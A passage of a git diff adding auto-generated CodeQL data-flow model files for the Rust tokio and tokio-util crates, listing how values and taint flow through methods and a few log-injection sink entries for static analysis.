["repo:https://github.com/tokio-rs/tokio:tokio-util", "::clone_inner", "Argument[self].Field[crate::sync::poll_semaphore::PollSemaphore::semaphore].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::sync::poll_semaphore::PollSemaphore::semaphore]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::poll_semaphore::PollSemaphore::semaphore]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::try_set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::as_ref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::as_ref", "Argument[self].Field[crate::task::abort_on_drop::AbortOnDropHandle(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::abort_handle", "Argument[self].Field[0].Field[crate::runtime::task::join::JoinHandle::raw]", "ReturnValue.Field[crate::runtime::task::abort::AbortHandle::raw]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::abort_handle", "Argument[self].Field[crate::task::abort_on_drop::AbortOnDropHandle(0)].Field[crate::runtime::task::join::JoinHandle::raw]", "ReturnValue.Field[crate::runtime::task::abort::AbortHandle::raw]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::clone", "Argument[self].Field[crate::task::task_tracker::TaskTracker::inner].Reference", "ReturnValue.Field[crate::task::task_tracker::TaskTracker::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::token", "Argument[self].Field[crate::task::task_tracker::TaskTracker::inner].Reference", "ReturnValue.Field[crate::task::task_tracker::TaskTrackerToken::task_tracker].Field[crate::task::task_tracker::TaskTracker::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::token", "Argument[self].Reference", "ReturnValue.Field[crate::task::task_tracker::TaskTrackerToken::task_tracker]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::track_future", "Argument[0]", "ReturnValue.Field[crate::task::task_tracker::TrackedFuture::future]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::track_future", "Argument[self].Reference", "ReturnValue.Field[crate::task::task_tracker::TrackedFuture::token].Field[crate::task::task_tracker::TaskTrackerToken::task_tracker]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::wait", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::clone", "Argument[self].Field[crate::task::task_tracker::TaskTrackerToken::task_tracker].Reference", "ReturnValue.Field[crate::task::task_tracker::TaskTrackerToken::task_tracker]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::clone", "Argument[self].Field[crate::task::task_tracker::TaskTrackerToken::task_tracker]", "ReturnValue.Field[crate::task::task_tracker::TaskTrackerToken::task_tracker]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::task_tracker", "Argument[self].Field[crate::task::task_tracker::TaskTrackerToken::task_tracker]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::deadline", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::peek", "Argument[self].Field[crate::time::delay_queue::DelayQueue::expired].Field[crate::time::delay_queue::Stack::head]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll_expired", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::remove", "Argument[0].Field[crate::time::delay_queue::Key::index]", "ReturnValue.Field[crate::time::delay_queue::Expired::key].Field[crate::time::delay_queue::Key::index]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::try_remove", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::deadline", "Argument[self].Field[crate::time::delay_queue::Expired::deadline]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_mut", "Argument[self].Field[crate::time::delay_queue::Expired::data]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_ref", "Argument[self].Field[crate::time::delay_queue::Expired::data]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::time::delay_queue::Expired::data]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::key", "Argument[self].Field[crate::time::delay_queue::Expired::key]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::from", "Argument[0].Field[crate::time::delay_queue::KeyInternal::index]", "ReturnValue.Field[crate::time::delay_queue::Key::index]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::time::delay_queue::Key::index]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::from", "Argument[0].Field[crate::time::delay_queue::Key::index]", "ReturnValue.Field[crate::time::delay_queue::KeyInternal::index]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::time::delay_queue::KeyInternal::index]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::index", "Argument[self].Field[crate::time::delay_queue::SlabStorage::inner].Element", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::index_mut", "Argument[self].Field[crate::time::delay_queue::SlabStorage::inner].Element", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::peek", "Argument[self].Field[crate::time::delay_queue::Stack::head]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::push", "Argument[0]", "Argument[self].Field[crate::time::delay_queue::Stack::head].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::elapsed", "Argument[self].Field[crate::time::wheel::Wheel::elapsed]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::insert", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::time::wheel::level::Level::level]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::next_expiration", "Argument[self].Field[crate::time::wheel::level::Level::level]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::time::wheel::level::Expiration::level]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::codec", "Argument[self].Field[crate::udp::frame::UdpFramed::codec]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::codec_mut", "Argument[self].Field[crate::udp::frame::UdpFramed::codec]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_mut", "Argument[self].Field[crate::udp::frame::UdpFramed::socket]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::get_ref", "Argument[self].Field[crate::udp::frame::UdpFramed::socket]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::into_inner", "Argument[self].Field[crate::udp::frame::UdpFramed::socket]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[0]", "ReturnValue.Field[crate::udp::frame::UdpFramed::socket]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::new", "Argument[1]", "ReturnValue.Field[crate::udp::frame::UdpFramed::codec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::read_buffer", "Argument[self].Field[crate::udp::frame::UdpFramed::rd]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::read_buffer_mut", "Argument[self].Field[crate::udp::frame::UdpFramed::rd]", "ReturnValue.Reference", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::write", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll_write", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::index", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::index_mut", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::remove", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::next_expiration", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-util", "::next_expiration", "Argument[self]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio.model.yml b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio.model.yml new file mode 100644 index 000000000000..6790d9d9711f --- /dev/null +++ b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio.model.yml @@ -0,0 +1,752 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio", "<&[u8] as crate::io::async_buf_read::AsyncBufRead>::consume", "Argument[self].Element", "Argument[self].Reference.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "<&[u8] as crate::io::async_buf_read::AsyncBufRead>::poll_fill_buf", "Argument[self].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "<&crate::task::wake::Waker as crate::sync::task::atomic_waker::WakerRef>::into_waker", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "<&mut crate::runtime::scheduler::inject::synced::Synced as crate::runtime::scheduler::lock::Lock>::lock", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::is_write_vectored", "Argument[self].Field[crate::MockWriter::vectored]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::TempFifo::path]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::TempFifo::path]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::mode", "Argument[0]", "Argument[self].Field[crate::fs::dir_builder::DirBuilder::mode].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::mode", "Argument[0]", "ReturnValue.Field[crate::fs::dir_builder::DirBuilder::mode].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::mode", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::recursive", "Argument[0]", "Argument[self].Field[crate::fs::dir_builder::DirBuilder::recursive]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::recursive", "Argument[0]", "ReturnValue.Field[crate::fs::dir_builder::DirBuilder::recursive]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::recursive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::set_max_buf_size", "Argument[0]", "Argument[self].Field[crate::fs::file::File::max_buf_size]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_into_std", "Argument[self].Field[crate::fs::file::File::std]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::fs::file::File::std]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_into_std", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue.Field[crate::fs::open_options::OpenOptions(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::append", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_inner_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_inner_mut", "Argument[self].Field[crate::fs::open_options::OpenOptions(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::create", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::create_new", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::custom_flags", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::mode", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::read", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::truncate", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::write", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_inner", "Argument[self].Field[crate::fs::read_dir::DirEntry::std]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self].Field[crate::io::async_fd::AsyncFd::inner].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_ref", "Argument[self].Field[crate::io::async_fd::AsyncFd::inner].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::ready", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::io::async_fd::AsyncFdReadyGuard::async_fd]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::ready_mut", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::io::async_fd::AsyncFdReadyMutGuard::async_fd]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_io", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_io_mut", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_new", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::io::async_fd::AsyncFdTryNewError::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_new_with_handle_and_interest", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::io::async_fd::AsyncFdTryNewError::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_with_interest", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::io::async_fd::AsyncFdTryNewError::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_ref", "Argument[self].Field[crate::io::async_fd::AsyncFdReadyGuard::async_fd]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_io", "Argument[0].ReturnValue", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_io", "Argument[self].Field[crate::io::async_fd::AsyncFdReadyGuard::async_fd]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self].Field[crate::io::async_fd::AsyncFdReadyMutGuard::async_fd]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_ref", "Argument[self].Field[crate::io::async_fd::AsyncFdReadyMutGuard::async_fd]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_io", "Argument[0].ReturnValue", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_io", "Argument[self].Field[crate::io::async_fd::AsyncFdReadyMutGuard::async_fd]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::source", "Argument[self].Field[crate::io::async_fd::AsyncFdTryNewError::cause]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_parts", "Argument[self].Field[crate::io::async_fd::AsyncFdTryNewError::cause]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_parts", "Argument[self].Field[crate::io::async_fd::AsyncFdTryNewError::inner]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::blocking::Blocking::inner].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::bytes", "Argument[self].Field[crate::io::blocking::Buf::buf].Element", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::copy_from", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::copy_from_bufs", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::copy_to", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::copy_to", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::len", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[crate::io::async_fd::AsyncFdTryNewError::cause]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[crate::runtime::blocking::pool::SpawnError::NoThreads(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::bitor_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::io::join::Join::reader]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::io::join::Join::writer]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reader", "Argument[self].Field[crate::io::join::Join::reader]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reader_mut", "Argument[self].Field[crate::io::join::Join::reader]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::writer", "Argument[self].Field[crate::io::join::Join::writer]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::writer_mut", "Argument[self].Field[crate::io::join::Join::writer]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::io::poll_evented::PollEvented::io].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::io::poll_evented::PollEvented::io].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new_with_interest_and_handle", "Argument[2]", "ReturnValue.Field[crate::runtime::io::registration::Registration::handle]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::registration", "Argument[self].Field[crate::io::poll_evented::PollEvented::registration]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::advance_mut", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::remaining_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::assume_init", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::initialize_unfilled_to", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::inner_mut", "Argument[self].Field[crate::io::read_buf::ReadBuf::buf]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::remaining", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::set_filled", "Argument[0]", "Argument[self].Field[crate::io::read_buf::ReadBuf::filled]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::take", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unfilled_mut", "Argument[self].Field[crate::io::read_buf::ReadBuf::buf].Element", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::uninit", "Argument[0]", "ReturnValue.Field[crate::io::read_buf::ReadBuf::buf]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_usize", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_usize", "Argument[self].Field[crate::io::ready::Ready(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_usize", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::intersection", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::stdio_common::SplitByUtf8BoundaryIfWindows::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::buffer", "Argument[self].Field[crate::io::util::buf_reader::BufReader::buf].Element", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self].Field[crate::io::util::buf_reader::BufReader::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_ref", "Argument[self].Field[crate::io::util::buf_reader::BufReader::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::io::util::buf_reader::BufReader::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::buf_reader::BufReader::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_capacity", "Argument[1]", "ReturnValue.Field[crate::io::util::buf_reader::BufReader::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue.Field[crate::io::util::buf_stream::BufStream::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::buffer", "Argument[self].Field[crate::io::util::buf_writer::BufWriter::buf]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self].Field[crate::io::util::buf_writer::BufWriter::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_ref", "Argument[self].Field[crate::io::util::buf_writer::BufWriter::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::io::util::buf_writer::BufWriter::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::buf_writer::BufWriter::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_capacity", "Argument[1]", "ReturnValue.Field[crate::io::util::buf_writer::BufWriter::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self].Field[crate::io::util::chain::Chain::first]", "ReturnValue.Field[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self].Field[crate::io::util::chain::Chain::second]", "ReturnValue.Field[1].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_ref", "Argument[self].Field[crate::io::util::chain::Chain::first]", "ReturnValue.Field[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_ref", "Argument[self].Field[crate::io::util::chain::Chain::second]", "ReturnValue.Field[1].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::io::util::chain::Chain::first]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::io::util::chain::Chain::second]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_copy", "Argument[self].Field[crate::io::util::copy::CopyBuffer::amt]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self].Field[crate::io::util::lines::Lines::reader]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_ref", "Argument[self].Field[crate::io::util::lines::Lines::reader]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::io::util::lines::Lines::reader]", "ReturnValue", "value", "dfc-generated"] + - 